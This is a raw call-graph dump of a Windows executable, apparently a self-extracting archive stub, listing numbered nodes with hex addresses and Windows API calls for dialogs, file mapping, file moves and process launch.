24234->24221 24235 307d01 24235->24221 24235->24224 24259 3087e0 20 API calls _abort 24235->24259 24238->24235 24261 30ac81 LeaveCriticalSection 24239->24261 24241 307db8 24241->24228 24241->24229 24262 30b076 24242->24262 24245 307e1c 24248 307e73 _abort 8 API calls 24245->24248 24246 307dfc GetPEB 24246->24245 24247 307e0c GetCurrentProcess TerminateProcess 24246->24247 24247->24245 24249 307e24 ExitProcess 24248->24249 24250->24220 24252 307ec0 24251->24252 24253 307e9d GetProcAddress 24251->24253 24254 307ec6 FreeLibrary 24252->24254 24255 307ecf 24252->24255 24258 307eb2 24253->24258 24254->24255 24256 2ffbbc _ValidateLocalCookies 5 API calls 24255->24256 24257 307cf9 24256->24257 24257->24217 24258->24252 24259->24224 24261->24241 24263 30b091 24262->24263 24264 30b09b 24262->24264 24266 2ffbbc _ValidateLocalCookies 5 API calls 24263->24266 24265 30ac98 __dosmaperr 5 API calls 24264->24265 24265->24263 24267 307df8 24266->24267 24267->24245 24267->24246 24268 2fe5b1 24269 2fe578 24268->24269 24271 2fe85d 24269->24271 24297 2fe5bb 24271->24297 24273 2fe86d 24274 2fe8ca 24273->24274 24285 2fe8ee 24273->24285 24275 2fe7fb DloadReleaseSectionWriteAccess 6 API calls 24274->24275 24276 2fe8d5 RaiseException 24275->24276 24277 2feac3 24276->24277 24277->24269 24278 2fe966 LoadLibraryExA 24279 2fe979 GetLastError 24278->24279 24280 2fe9c7 24278->24280 24281 2fe98c 24279->24281 24282 2fe9a2 24279->24282 24283 2fe9d9 24280->24283 24286 2fe9d2 FreeLibrary 24280->24286 24281->24280 24281->24282 24287 2fe7fb DloadReleaseSectionWriteAccess 6 API calls 24282->24287 24284 2fea37 GetProcAddress 24283->24284 24293 2fea95 24283->24293 24288 2fea47 GetLastError 24284->24288 24284->24293 24285->24278 24285->24280 24285->24283 24285->24293 24286->24283 24291 2fe9ad RaiseException 24287->24291 24289 2fea5a 24288->24289 24292 2fe7fb DloadReleaseSectionWriteAccess 6 API calls 24289->24292 24289->24293 24291->24277 24294 2fea7b RaiseException 24292->24294 24306 2fe7fb 24293->24306 24295 2fe5bb ___delayLoadHelper2@8 6 API calls 24294->24295 24296 2fea92 24295->24296 24296->24293 24298 2fe5ed 24297->24298 24299 2fe5c7 24297->24299 24298->24273 24314 2fe664 24299->24314 24301 2fe5cc 24302 2fe5e8 24301->24302 24317 2fe78d 24301->24317 24322 2fe5ee GetModuleHandleW GetProcAddress GetProcAddress 24302->24322 24305 2fe836 24305->24273 24307 2fe82f 24306->24307 24308 2fe80d 24306->24308 24307->24277 24309 2fe664 DloadReleaseSectionWriteAccess 3 API calls 24308->24309 24310 2fe812 24309->24310 24311 2fe82a 24310->24311 24312 2fe78d DloadProtectSection 3 API calls 24310->24312 24325 2fe831 GetModuleHandleW GetProcAddress GetProcAddress DloadReleaseSectionWriteAccess 24311->24325 24312->24311 24323 2fe5ee GetModuleHandleW GetProcAddress GetProcAddress 24314->24323 24316 2fe669 24316->24301 24318 2fe7a2 DloadProtectSection 24317->24318 24319 2fe7dd VirtualProtect 24318->24319 24320 2fe7a8 24318->24320 24324 2fe6a3 VirtualQuery GetSystemInfo 24318->24324 24319->24320 24320->24302 24322->24305 24323->24316 24324->24319 24325->24307 25449 2fb1b0 GetDlgItem EnableWindow ShowWindow SendMessageW 25450 2fb18d 78 API calls 25404 2fc793 97 API calls 4 library calls 25405 2fc793 102 API calls 5 library calls 25451 2f9580 CompareStringW ShowWindow SetWindowTextW GlobalAlloc WideCharToMultiByte 24339 3098f0 24347 30adaf 24339->24347 24342 309904 24344 30990c 24345 309919 24344->24345 24355 309920 11 API calls 24344->24355 24348 30ac98 __dosmaperr 5 API calls 24347->24348 24349 30add6 24348->24349 24350 30adee TlsAlloc 24349->24350 24351 30addf 24349->24351 24350->24351 24352 2ffbbc _ValidateLocalCookies 5 API calls 24351->24352 24353 3098fa 24352->24353 24353->24342 24354 309869 20 API calls 2 library calls 24353->24354 24354->24344 24355->24342 24356 30abf0 24357 30abfb 24356->24357 24358 30af0a 11 API calls 24357->24358 24359 30ac24 24357->24359 24361 30ac20 24357->24361 24358->24357 24362 30ac50 DeleteCriticalSection 24359->24362 24362->24361 25408 3088f0 7 API calls ___scrt_uninitialize_crt 25455 2ef1e8 FreeLibrary 24369 2feae7 24370 2feaf1 24369->24370 24371 2fe85d ___delayLoadHelper2@8 14 API calls 24370->24371 24372 2feafe 24371->24372 25409 2ff4e7 29 API calls _abort 25410 302cfb 38 API calls 4 library calls 24374 2fb7e0 24375 2fb7ea __EH_prolog 24374->24375 24542 2e1316 24375->24542 24378 2fbf0f 24607 2fd69e 24378->24607 24379 2fb82a 24381 2fb89b 24379->24381 24382 2fb838 24379->24382 24458 2fb841 24379->24458 24388 2fb92e GetDlgItemTextW 24381->24388 24389 2fb8b1 24381->24389 24384 2fb83c 24382->24384 24385 2fb878 24382->24385 24394 2ee617 53 API calls 24384->24394 24384->24458 24396 2fb95f KiUserCallbackDispatcher 24385->24396 24385->24458 24386 2fbf2a SendMessageW 24387 2fbf38 24386->24387 24390 2fbf52 GetDlgItem SendMessageW 24387->24390 24391 2fbf41 SendDlgItemMessageW 24387->24391 24388->24385 24392 2fb96b 24388->24392 24393 2ee617 53 API calls 24389->24393 24625 2fa64d GetCurrentDirectoryW 24390->24625 24391->24390 24397 2fb980 GetDlgItem 24392->24397 24540 2fb974 24392->24540 24400 2fb8ce SetDlgItemTextW 24393->24400 24401 2fb85b 24394->24401 24396->24458 24398 2fb9b7 SetFocus 24397->24398 24399 2fb994 SendMessageW SendMessageW 24397->24399 24403 2fb9c7 24398->24403 24417 2fb9e0 24398->24417 24399->24398 24404 2fb8d9 24400->24404 24647 2e124f SHGetMalloc 24401->24647 24402 2fbf82 GetDlgItem 24406 2fbf9f 24402->24406 24407 2fbfa5 SetWindowTextW 24402->24407 24408 2ee617 53 API calls 24403->24408 24411 2fb8e6 GetMessageW 24404->24411 24404->24458 24406->24407 24626 2fabab GetClassNameW 24407->24626 24412 2fb9d1 24408->24412 24409 2fbe55 24413 2ee617 53 API calls 24409->24413 24415 2fb8fd IsDialogMessageW 24411->24415 24411->24458 24648 2fd4d4 24412->24648 24419 2fbe65 SetDlgItemTextW 24413->24419 24415->24404 24422 2fb90c TranslateMessage DispatchMessageW 24415->24422 24424 2ee617 53 API calls 24417->24424 24418 2fc1fc SetDlgItemTextW 24418->24458 24423 2fbe79 24419->24423 24422->24404 24425 2ee617 53 API calls 24423->24425 24427 2fba17 24424->24427 24461 2fbe9c _wcslen 24425->24461 24426 2fbff0 24430 2fc020 24426->24430 24434 2ee617 53 API calls 24426->24434 24432 2e4092 _swprintf 51 API calls 24427->24432 24428 2fc73f 97 API calls 24428->24426 24429 2fb9d9 24552 2ea0b1 24429->24552 24441 2fc73f 97 API calls 24430->24441 24485 2fc0d8 24430->24485 24433 2fba29 24432->24433 24436 2fd4d4 16 API calls 24433->24436 24438 2fc003 SetDlgItemTextW 24434->24438 24436->24429 24437 2fc18b 24442 2fc19d 24437->24442 24443 2fc194 EnableWindow 24437->24443 24445 2ee617 53 API calls 24438->24445 24439 2fba73 24558 2fac04 SetCurrentDirectoryW 24439->24558 24440 2fba68 GetLastError 24440->24439 24447 2fc03b 24441->24447 24448 2fc1ba 24442->24448 24666 2e12d3 GetDlgItem EnableWindow 24442->24666 24443->24442 24444 2fbeed 24451 2ee617 53 API calls 24444->24451 24449 2fc017 SetDlgItemTextW 24445->24449 24452 2fc04d 24447->24452 24482 2fc072 24447->24482 24455 2fc1e1 24448->24455 24465 2fc1d9 SendMessageW 24448->24465 24449->24430 24450 2fba87 24456 2fba9e 24450->24456 24457 2fba90 GetLastError 24450->24457 24451->24458 24664 2f9ed5 32 API calls 24452->24664 24453 2fc0cb 24462 2fc73f 97 API calls 24453->24462 24455->24458 24466 2ee617 53 API calls 24455->24466 24467 2fbaae GetTickCount 24456->24467 24468 2fbb20 24456->24468 24519 2fbb11 24456->24519 24457->24456 24460 2fc1b0 24667 2e12d3 GetDlgItem EnableWindow 24460->24667 24461->24444 24469 2ee617 53 API calls 24461->24469 24462->24485 24463 2fc066 24463->24482 24465->24455 24476 2fb862 24466->24476 24477 2e4092 _swprintf 51 API calls 24467->24477 24472 2fbcfb 24468->24472 24473 2fbb39 GetModuleFileNameW 24468->24473 24474 2fbcf1 24468->24474 24478 2fbed0 24469->24478 24470 2fbd56 24567 2e12f1 GetDlgItem ShowWindow 24470->24567 24471 2fc169 24665 2f9ed5 32 API calls 24471->24665 24481 2ee617 53 API calls 24472->24481 24658 2ef28c 82 API calls 24473->24658 24474->24385 24474->24472 24476->24418 24476->24458 24484 2fbac7 24477->24484 24486 2e4092 _swprintf 51 API calls 24478->24486 24489 2fbd05 24481->24489 24482->24453 24490 2fc73f 97 API calls 24482->24490 24483 2fbd66 24568 2e12f1 GetDlgItem ShowWindow 24483->24568 24559 2e966e 24484->24559 24485->24437 24485->24471 24492 2ee617 53 API calls 24485->24492 24486->24444 24487 2fc188 24487->24437 24488 2fbb5f 24493 2e4092 _swprintf 51 API calls 24488->24493 24494 2e4092 _swprintf 51 API calls 24489->24494 24495 2fc0a0 24490->24495 24492->24485 24497 2fbb81 CreateFileMappingW 24493->24497 24506 2fbd23 24494->24506 24495->24453 24498 2fc0a9 DialogBoxParamW 24495->24498 24496 2fbd70 24499 2ee617 53 API calls 24496->24499 24501 2fbc60 __InternalCxxFrameHandler 24497->24501 24502 2fbbe3 GetCommandLineW 24497->24502 24498->24385 24498->24453 24503 2fbd7a SetDlgItemTextW 24499->24503 24507 2fbc6b ShellExecuteExW 24501->24507 24505 2fbbf4 24502->24505 24569 2e12f1 GetDlgItem ShowWindow 24503->24569 24504 2fbaed 24509 2fbaf4 GetLastError 24504->24509 24510 2fbaff 24504->24510 24659 2fb425 SHGetMalloc 24505->24659 24512 2ee617 53 API calls 24506->24512 24533 2fbc88 24507->24533 24509->24510 24514 2e959a 80 API calls 24510->24514 24516 2fbd3d 24512->24516 24513 2fbd8c SetDlgItemTextW GetDlgItem 24517 2fbda9 GetWindowLongW SetWindowLongW 24513->24517 24518 2fbdc1 24513->24518 24514->24519 24515 2fbc10 24660 2fb425 SHGetMalloc 24515->24660 24517->24518 24570 2fc73f 24518->24570 24519->24468 24519->24470 24522 2fbc1c 24661 2fb425 SHGetMalloc 24522->24661 24525 2fbccb 24525->24474 24529 2fbce1 UnmapViewOfFile CloseHandle 24525->24529 24526 2fc73f 97 API calls 24528 2fbddd 24526->24528 24527 2fbc28 24662 2ef3fa 82 API calls 2 library calls 24527->24662 24595 2fda52 24528->24595 24529->24474 24532 2fbc3f MapViewOfFile 24532->24501 24533->24525 24536 2fbcb7 Sleep 24533->24536 24535 2fc73f 97 API calls 24539 2fbe03 24535->24539 24536->24525 24536->24533 24537 2fbe2c 24663 2e12d3 GetDlgItem EnableWindow 24537->24663 24539->24537 24541 2fc73f 97 API calls 24539->24541 24540->24385 24540->24409 24541->24537 24543 2e131f 24542->24543 24544 2e1378 24542->24544 24546 2e1385 24543->24546 24668 2ee2e8 62 API calls 2 library calls 24543->24668 24669 2ee2c1 GetWindowLongW SetWindowLongW 24544->24669 24546->24378 24546->24379 24546->24458 24548 2e1341 24548->24546 24549 2e1354 GetDlgItem 24548->24549 24549->24546 24550 2e1364 24549->24550 24550->24546 24551 2e136a SetWindowTextW 24550->24551 24551->24546 24555 2ea0bb 24552->24555 24553 2ea175 24553->24439 24553->24440 24554 2ea14c 24554->24553 24556 2ea2b2 8 API calls 24554->24556 24555->24553 24555->24554 24670 2ea2b2 24555->24670 24556->24553 24558->24450 24560 2e9678 24559->24560 24561 2e96d5 CreateFileW 24560->24561 24562 2e96c9 24560->24562 24561->24562 24563 2e971f 24562->24563 24564 2ebb03 GetCurrentDirectoryW 24562->24564 24563->24504 24565 2e9704 24564->24565 24565->24563 24566 2e9708 CreateFileW 24565->24566 24566->24563 24567->24483 24568->24496 24569->24513 24571 2fc749 __EH_prolog 24570->24571 24572 2fbdcf 24571->24572 24702 2fb314 24571->24702 24572->24526 24575 2fb314 ExpandEnvironmentStringsW 24579 2fc780 _wcslen _wcsrchr 24575->24579 24576 2fca67 SetWindowTextW 24576->24579 24579->24572 24579->24575 24579->24576 24582 2fc855 SetFileAttributesW 24579->24582 24587 2fcc31 GetDlgItem SetWindowTextW SendMessageW 24579->24587 24590 2fcc71 SendMessageW 24579->24590 24706 2f1fbb CompareStringW 24579->24706 24707 2fa64d GetCurrentDirectoryW 24579->24707 24709 2ea5d1 6 API calls 24579->24709 24710 2ea55a FindClose 24579->24710 24711 2fb48e 76 API calls 2 library calls 24579->24711 24712 303e3e 24579->24712 24584 2fc90f GetFileAttributesW 24582->24584 24594 2fc86f _abort _wcslen 24582->24594 24584->24579 24585 2fc921 DeleteFileW 24584->24585 24585->24579 24588 2fc932 24585->24588 24587->24579 24589 2e4092 _swprintf 51 API calls 24588->24589 24591 2fc952 GetFileAttributesW 24589->24591 24590->24579 24591->24588 24592 2fc967 MoveFileW 24591->24592 24592->24579 24593 2fc97f MoveFileExW 24592->24593 24593->24579 24594->24579 24594->24584 24708 2eb991 51 API calls 3 library calls 24594->24708 24596 2fda5c __EH_prolog 24595->24596 24727 2f0659 24596->24727 24598 2fda8d 24731 2e5b3d 24598->24731 24600 2fdaab 24735 2e7b0d 24600->24735 24604 2fdafe 24751 2e7b9e 24604->24751 24606 2fbdee 24606->24535 24608 2fd6a8 24607->24608 24609 2fa5c6 4 API calls 24608->24609 24610 2fd6ad 24609->24610 24611 2fd6b5 GetWindow 24610->24611 24612 2fbf15 24610->24612 24611->24612 24615 2fd6d5 24611->24615 24612->24386 24612->24387 24613 2fd6e2 GetClassNameW 25232 2f1fbb CompareStringW 24613->25232 24615->24612 24615->24613 24616 2fd76a GetWindow 24615->24616 24617 2fd706 GetWindowLongW 24615->24617 24616->24612 24616->24615 24617->24616 24618 2fd716 SendMessageW 24617->24618 24618->24616 24619 2fd72c GetObjectW 24618->24619 25233 2fa605 GetDC GetDeviceCaps GetDeviceCaps ReleaseDC 24619->25233 24622 2fd743 25234 2fa5e4 GetDC GetDeviceCaps GetDeviceCaps ReleaseDC 24622->25234 25235 2fa80c 8 API calls 24622->25235 24624 2fd754 SendMessageW DeleteObject 24624->24616 24625->24402 24627 2fabcc 24626->24627 24633 2fabf1 24626->24633 25236 2f1fbb CompareStringW 24627->25236 24629 2fabff 24634 2fb093 24629->24634 24630 2fabf6 SHAutoComplete 24630->24629 24631 2fabdf 24632 2fabe3 FindWindowExW 24631->24632 24631->24633 24632->24633 24633->24629 24633->24630 24635 2fb09d __EH_prolog 24634->24635 24636 2e13dc 84 API calls 24635->24636 24637 2fb0bf 24636->24637 25237 2e1fdc 24637->25237 24640 2fb0eb 24643 2e19af 128 API calls 24640->24643 24641 2fb0d9 24642 2e1692 86 API calls 24641->24642 24644 2fb0e4 24642->24644 24646 2fb10d __InternalCxxFrameHandler ___std_exception_copy 24643->24646 24644->24426 24644->24428 24645 2e1692 86 API calls 24645->24644 24646->24645 24647->24476 25245 2fb568 PeekMessageW 24648->25245 24651 2fd536 SendMessageW SendMessageW 24653 2fd572 24651->24653 24654 2fd591 SendMessageW SendMessageW SendMessageW 24651->24654 24652 2fd502 24657 2fd50d ShowWindow SendMessageW SendMessageW 24652->24657 24653->24654 24655 2fd5e7 SendMessageW 24654->24655 24656 2fd5c4 SendMessageW 24654->24656 24655->24429 24656->24655 24657->24651 24658->24488 24659->24515 24660->24522 24661->24527 24662->24532 24663->24540 24664->24463 24665->24487 24666->24460 24667->24448 24668->24548 24669->24546 24671 2ea2bf 24670->24671 24672 2ea2e3 24671->24672 24673 2ea2d6 CreateDirectoryW 24671->24673 24691 2ea231 24672->24691 24673->24672 24675 2ea316 24673->24675 24678 2ea325 24675->24678 24683 2ea4ed 24675->24683 24677 2ea329 GetLastError 24677->24678 24678->24555 24680 2ebb03 GetCurrentDirectoryW 24681 2ea2ff 24680->24681 24681->24677 24682 2ea303 CreateDirectoryW 24681->24682 24682->24675 24682->24677 24684 2fec50 24683->24684 24685 2ea4fa SetFileAttributesW 24684->24685 24686 2ea53d 24685->24686 24687 2ea510 24685->24687 24686->24678 24688 2ebb03 GetCurrentDirectoryW 24687->24688 24689 2ea524 24688->24689 24689->24686 24690 2ea528 SetFileAttributesW 24689->24690 24690->24686 24694 2ea243 24691->24694 24695 2fec50 24694->24695 24696 2ea250 GetFileAttributesW 24695->24696 24697 2ea23a 24696->24697 24698 2ea261 24696->24698 24697->24677 24697->24680 24699 2ebb03 GetCurrentDirectoryW 24698->24699 24700 2ea275 24699->24700 24700->24697 24701 2ea279 GetFileAttributesW 24700->24701 24701->24697 24703 2fb31e 24702->24703 24704 2fb3f0 ExpandEnvironmentStringsW 24703->24704 24705 2fb40d 24703->24705 24704->24705 24705->24579 24706->24579 24707->24579 24708->24594 24709->24579 24710->24579 24711->24579 24713 308e54 24712->24713 24714 308e61 24713->24714 24715 308e6c 24713->24715 24716 308e06 __vswprintf_c_l 21 API calls 24714->24716 24717 308e74 24715->24717 24723 308e7d __dosmaperr 24715->24723 24722 308e69 24716->24722 24718 308dcc _free 20 API calls 24717->24718 24718->24722 24719 308e82 24725 3091a8 20 API calls __dosmaperr 24719->24725 24720 308ea7 HeapReAlloc 24720->24722 24720->24723 24722->24579 24723->24719 24723->24720 24726 307a5e 7 API calls 2 library calls 24723->24726 24725->24722 24726->24723 24728 2f0666 _wcslen 24727->24728 24755 2e17e9 24728->24755 24730 2f067e 24730->24598 24732 2f0659 _wcslen 24731->24732 24733 2e17e9 78 API calls 24732->24733 24734 2f067e 24733->24734 24734->24600 24736 2e7b17 __EH_prolog 24735->24736 24772 2ece40 24736->24772 24738 2e7b32 24739 2feb38 8 API calls 24738->24739 24741 2e7b5c 24739->24741 24778 2f4a76 24741->24778 24743 2e7c7d 24744 2e7c87 24743->24744 24745 2e7cf1 24744->24745 24807 2ea56d 24744->24807 24749 2e7d50 24745->24749 24785 2e8284 24745->24785 24747 2e7d92 24747->24604 24749->24747 24813 2e138b 74 API calls 24749->24813 24752 2e7bac 24751->24752 24754 2e7bb3 24751->24754 24753 2f2297 86 API calls 24752->24753 24753->24754 24756 2e17ff 24755->24756 24767 2e185a __InternalCxxFrameHandler 24755->24767 24757 2e1828 24756->24757 24768 2e6c36 76 API calls __vswprintf_c_l 24756->24768 24758 2e1887 24757->24758 24759 2e1847 ___std_exception_copy 24757->24759 24762 303e3e 22 API calls 24758->24762 24759->24767 24770 2e6ca7 75 API calls 24759->24770 24761 2e181e 24769 2e6ca7 75 API calls 24761->24769 24764 2e188e 24762->24764 24764->24767 24771 2e6ca7 75 API calls 24764->24771 24767->24730 24768->24761 24769->24757 24770->24767 24771->24767 24773 2ece4a __EH_prolog 24772->24773 24774 2feb38 8 API calls 24773->24774 24776 2ece8d 24774->24776 24775 2feb38 8 API calls 24777 2eceb1 24775->24777 24776->24775 24777->24738 24779 2f4a80 __EH_prolog 24778->24779 24780 2feb38 8 API calls 24779->24780 24781 2f4a9c 24780->24781 24782 2e7b8b 24781->24782 24784 2f0e46 80 API calls 24781->24784 24782->24743 24784->24782 24786 2e828e __EH_prolog 24785->24786 24814 2e13dc 24786->24814 24788 2e82aa 24789 2e82bb 24788->24789 24957 2e9f42 24788->24957 24793 2e82f2 24789->24793 24822 2e1a04 24789->24822 24792 2e82ee 24792->24793 24796 2e8389 24792->24796 24805 2ea56d 7 API calls 24792->24805 24961 2ec0c5 CompareStringW _wcslen 24792->24961 24953 2e1692 24793->24953 24841 2e8430 24796->24841 24800 2e83e8 24849 2e1f6d 24800->24849 24803 2e83f3 24803->24793 24853 2e3b2d 24803->24853 24865 2e848e 24803->24865 24805->24792 24808 2ea582 24807->24808 24812 2ea5b0 24808->24812 25221 2ea69b 24808->25221 24810 2ea592 24811 2ea597 FindClose 24810->24811 24810->24812 24811->24812 24812->24744 24813->24747 24815 2e13e1 __EH_prolog 24814->24815 24816 2ece40 8 API calls 24815->24816 24817 2e1419 24816->24817 24818 2feb38 8 API calls 24817->24818 24821 2e1474 _abort 24817->24821 24819 2e1461 24818->24819 24819->24821 24962 2eb505 24819->24962 24821->24788 24823 2e1a0e __EH_prolog 24822->24823 24825 2e1a61 24823->24825 24829 2e1b9b 24823->24829 24978 2e13ba 24823->24978 24826 2e1bc7 24825->24826 24825->24829 24831 2e1bd4 24825->24831 24981 2e138b 74 API calls 24826->24981 24829->24792 24830 2e3b2d 101 API calls 24832 2e1c12 24830->24832 24831->24829 24831->24830 24833 2e1c5a 24832->24833 24835 2e3b2d 101 API calls 24832->24835 24833->24829 24836 2e1c8d 24833->24836 24982 2e138b 74 API calls 24833->24982 24835->24832 24836->24829 24840 2e9e80 79 API calls 24836->24840 24837 2e3b2d 101 API calls 24838 2e1cde 24837->24838 24838->24829 24838->24837 24839 2e9e80 79 API calls 24839->24825 24840->24838 25000 2ecf3d 24841->25000 24843 2e8440 25004 2f13d2 GetSystemTime SystemTimeToFileTime 24843->25004 24845 2e83a3 24845->24800 24846 2f1b66 24845->24846 25009 2fde6b 24846->25009 24850 2e1f72 __EH_prolog 24849->24850 24852 2e1fa6 24850->24852 25017 2e19af 24850->25017 24852->24803 24854 2e3b3d 24853->24854 24855 2e3b39 24853->24855 24864 2e9e80 79 API calls 24854->24864 24855->24803 24856 2e3b4f 24857 2e3b6a 24856->24857 24858 2e3b78 24856->24858 24863 2e3baa 24857->24863 25147 2e32f7 89 API calls 2 library calls 24857->25147 25148 2e286b 101 API calls 3 library calls 24858->25148 24861 2e3b76 24861->24863 25149 2e20d7 74 API calls 24861->25149 24863->24803 24864->24856 24866 2e8498 __EH_prolog 24865->24866 24871 2e84d5 24866->24871 24880 2e8513 24866->24880 25174 2f8c8d 103 API calls 24866->25174 24868 2e84f5 24869 2e851c 24868->24869 24870 2e84fa 24868->24870 24869->24880 25176 2f8c8d 103 API calls 24869->25176 24870->24880 25175 2e7a0d 152 API calls 24870->25175 24871->24868 24875 2e857a 24871->24875 24871->24880 24875->24880 25150 2e5d1a 24875->25150 24876 2e8605 24876->24880 25156 2e8167 24876->25156 24879 2e8797 24881 2ea56d 7 API calls 24879->24881 24882 2e8802 24879->24882 24880->24803 24881->24882 25162 2e7c0d 24882->25162 24884 2ed051 82 API calls 24890 2e885d 24884->24890 24885 2e898b 25179 2e2021 74 API calls 24885->25179 24886 2e8a5f 24891 2e8ab6 24886->24891 24904 2e8a6a 24886->24904 24887 2e8992 24887->24886 24893 2e89e1 24887->24893 24890->24880 24890->24884 24890->24885 24890->24887 25177 2e8117 84 API calls 24890->25177 25178 2e2021 74 API calls 24890->25178 24897 2e8a4c 24891->24897 25182 2e7fc0 97 API calls 24891->25182 24892 2e8ab4 24898 2e959a 80 API calls 24892->24898 24894 2e8b14 24893->24894 24893->24897 24899 2ea231 3 API calls 24893->24899 24912 2e8b82 24894->24912 24941 2e9105 24894->24941 25183 2e98bc 24894->25183 24896 2e959a 80 API calls 24896->24880 24897->24892 24897->24894 24898->24880 24900 2e8a19 24899->24900 24900->24897 25180 2e92a3 97 API calls 24900->25180 24902 2eab1a 8 API calls 24905 2e8bd1 24902->24905 24904->24892 25181 2e7db2 101 API calls 24904->25181 24906 2eab1a 8 API calls 24905->24906 24923 2e8be7 24906->24923 24910 2e8b70 25187 2e6e98 77 API calls 24910->25187 24912->24902 24913 2e8cbc 24914 2e8d18 24913->24914 24915 2e8e40 24913->24915 24916 2e8d8a 24914->24916 24917 2e8d28 24914->24917 24918 2e8e66 24915->24918 24919 2e8e52 24915->24919 24938 2e8d49 24915->24938 24924 2e8167 19 API calls 24916->24924 24920 2e8d6e 24917->24920 24928 2e8d37 24917->24928 24922 2f3377 75 API calls 24918->24922 24921 2e9215 123 API calls 24919->24921 24920->24938 25190 2e77b8 111 API calls 24920->25190 24921->24938 24925 2e8e7f 24922->24925 24923->24913 24926 2e8c93 24923->24926 24932 2e981a 79 API calls 24923->24932 24927 2e8dbd 24924->24927 25193 2f3020 123 API calls 24925->25193 24926->24913 25188 2e9a3c 82 API calls 24926->25188 24934 2e8de6 24927->24934 24935 2e8df5 24927->24935 24927->24938 25189 2e2021 74 API calls 24928->25189 24932->24926 25191 2e7542 85 API calls 24934->25191 25192 2e9155 93 API calls __EH_prolog 24935->25192 24939 2e8f85 24938->24939 25194 2e2021 74 API calls 24938->25194 24939->24941 24942 2e903e 24939->24942 24952 2e9090 24939->24952 25168 2e9f09 SetEndOfFile 24939->25168 24941->24896 25169 2e9da2 24942->25169 24943 2ea4ed 3 API calls 24946 2e90eb 24943->24946 24946->24941 25195 2e2021 74 API calls 24946->25195 24947 2e9085 24949 2e9620 77 API calls 24947->24949 24949->24952 24950 2e90fb 25196 2e6dcb 76 API calls _wcschr 24950->25196 24952->24941 24952->24943 24954 2e16a4 24953->24954 25212 2ecee1 24954->25212 24958 2e9f59 24957->24958 24960 2e9f63 24958->24960 25220 2e6d0c 78 API calls 24958->25220 24960->24789 24961->24792 24963 2eb50f __EH_prolog 24962->24963 24968 2ef1d0 82 API calls 24963->24968 24965 2eb521 24969 2eb61e 24965->24969 24968->24965 24970 2eb630 _abort 24969->24970 24973 2f10dc 24970->24973 24976 2f109e GetCurrentProcess GetProcessAffinityMask 24973->24976 24977 2eb597 24976->24977 24977->24821 24983 2e1732 24978->24983 24980 2e13d6 24980->24839 24981->24829 24982->24836 24984 2e1748 24983->24984 24994 2e17a0 __InternalCxxFrameHandler 24983->24994 24985 2e1771 24984->24985 24996 2e6c36 76 API calls __vswprintf_c_l 24984->24996 24987 2e17c7 24985->24987 24992 2e178d ___std_exception_copy 24985->24992 24989 303e3e 22 API calls 24987->24989 24988 2e1767 24997 2e6ca7 75 API calls 24988->24997 24991 2e17ce 24989->24991 24991->24994 24999 2e6ca7 75 API calls 24991->24999 24992->24994 24998 2e6ca7 75 API calls 24992->24998 24994->24980 24996->24988 24997->24985 24998->24994 24999->24994 25001 2ecf4d 25000->25001 25002 2ecf54 25000->25002 25005 2e981a 25001->25005 25002->24843 25004->24845 25006 2e9833 25005->25006 25008 2e9e80 79 API calls 25006->25008 25007 2e9865 25007->25002 25008->25007 25010 2fde78 25009->25010 25011 2ee617 53 API calls 25010->25011 25012 2fde9b 25011->25012 25013 2e4092 _swprintf 51 API calls 25012->25013 25014 2fdead 25013->25014 25015 2fd4d4 16 API calls 25014->25015 25016 2f1b7c 25015->25016 25016->24800 25018 2e19bf 25017->25018 25020 2e19bb 25017->25020 25021 2e18f6 25018->25021 25020->24852 25022 2e1908 25021->25022 25023 2e1945 25021->25023 25024 2e3b2d 101 API calls 25022->25024 25029 2e3fa3 25023->25029 25027 2e1928 25024->25027 25027->25020 25033 2e3fac 25029->25033 25030 2e3b2d 101 API calls 25030->25033 25031 2e1966 25031->25027 25034 2e1e50 25031->25034 25033->25030 25033->25031 25046 2f0e08 25033->25046 25035 2e1e5a __EH_prolog 25034->25035 25054 2e3bba 25035->25054 25037 2e1e84 25038 2e1732 78 API calls 25037->25038 25040 2e1f0b 25037->25040 25039 2e1e9b 25038->25039 25082 2e18a9 78 API calls 25039->25082 25040->25027 25042 2e1eb3 25044 2e1ebf _wcslen 25042->25044 25083 2f1b84 MultiByteToWideChar 25042->25083 25084 2e18a9 78 API calls 25044->25084 25047 2f0e0f 25046->25047 25050 2f0e2a 25047->25050 25052 2e6c31 RaiseException CallUnexpected 25047->25052 25049 2f0e3b SetThreadExecutionState 25049->25033 25050->25049 25053 2e6c31 RaiseException CallUnexpected 25050->25053 25052->25050 25053->25049 25055 2e3bc4 __EH_prolog 25054->25055 25056 2e3bda 25055->25056 25058 2e3bf6 25055->25058 25110 2e138b 74 API calls 25056->25110 25059 2e3e51 25058->25059 25062 2e3c22 25058->25062 25127 2e138b 74 API calls 25059->25127 25061 2e3be5 25061->25037 25062->25061 25085 2f3377 25062->25085 25064 2e3ca3 25065 2e3d2e 25064->25065 25081 2e3c9a 25064->25081 25113 2ed051 25064->25113 25095 2eab1a 25065->25095 25066 2e3c9f 25066->25064 25112 2e20bd 78 API calls 25066->25112 25068 2e3c8f 25111 2e138b 74 API calls 25068->25111 25069 2e3c71 25069->25064 25069->25066 25069->25068 25071 2e3d41 25075 2e3dd7 25071->25075 25076 2e3dc7 25071->25076 25119 2f3020 123 API calls 25075->25119 25099 2e9215 25076->25099 25079 2e3dd5 25079->25081 25120 2e2021 74 API calls 25079->25120 25121 2f2297 25081->25121 25082->25042 25083->25044 25084->25040 25086 2f338c 25085->25086 25088 2f3396 ___std_exception_copy 25085->25088 25128 2e6ca7 75 API calls 25086->25128 25089 2f34c6 25088->25089 25090 2f341c 25088->25090 25094 2f3440 _abort 25088->25094 25130 30238d RaiseException 25089->25130 25129 2f32aa 75 API calls 3 library calls 25090->25129 25093 2f34f2 25094->25069 25096 2eab28 25095->25096 25098 2eab32 25095->25098 25097 2feb38 8 API calls 25096->25097 25097->25098 25098->25071 25100 2e921f __EH_prolog 25099->25100 25131 2e7c64 25100->25131 25103 2e13ba 78 API calls 25104 2e9231 25103->25104 25134 2ed114 25104->25134 25106 2e9243 25107 2e928a 25106->25107 25108 2ed114 118 API calls 25106->25108 25143 2ed300 97 API calls __InternalCxxFrameHandler 25106->25143 25107->25079 25108->25106 25110->25061 25111->25081 25112->25064 25114 2ed084 25113->25114 25115 2ed072 25113->25115 25145 2e603a 82 API calls 25114->25145 25144 2e603a 82 API calls 25115->25144 25118 2ed07c 25118->25065 25119->25079 25120->25081 25122 2f22a1 25121->25122 25123 2f22ba 25122->25123 25126 2f22ce 25122->25126 25146 2f0eed 86 API calls 25123->25146 25125 2f22c1 25125->25126 25127->25061 25128->25088 25129->25094 25130->25093 25132 2eb146 GetVersionExW 25131->25132 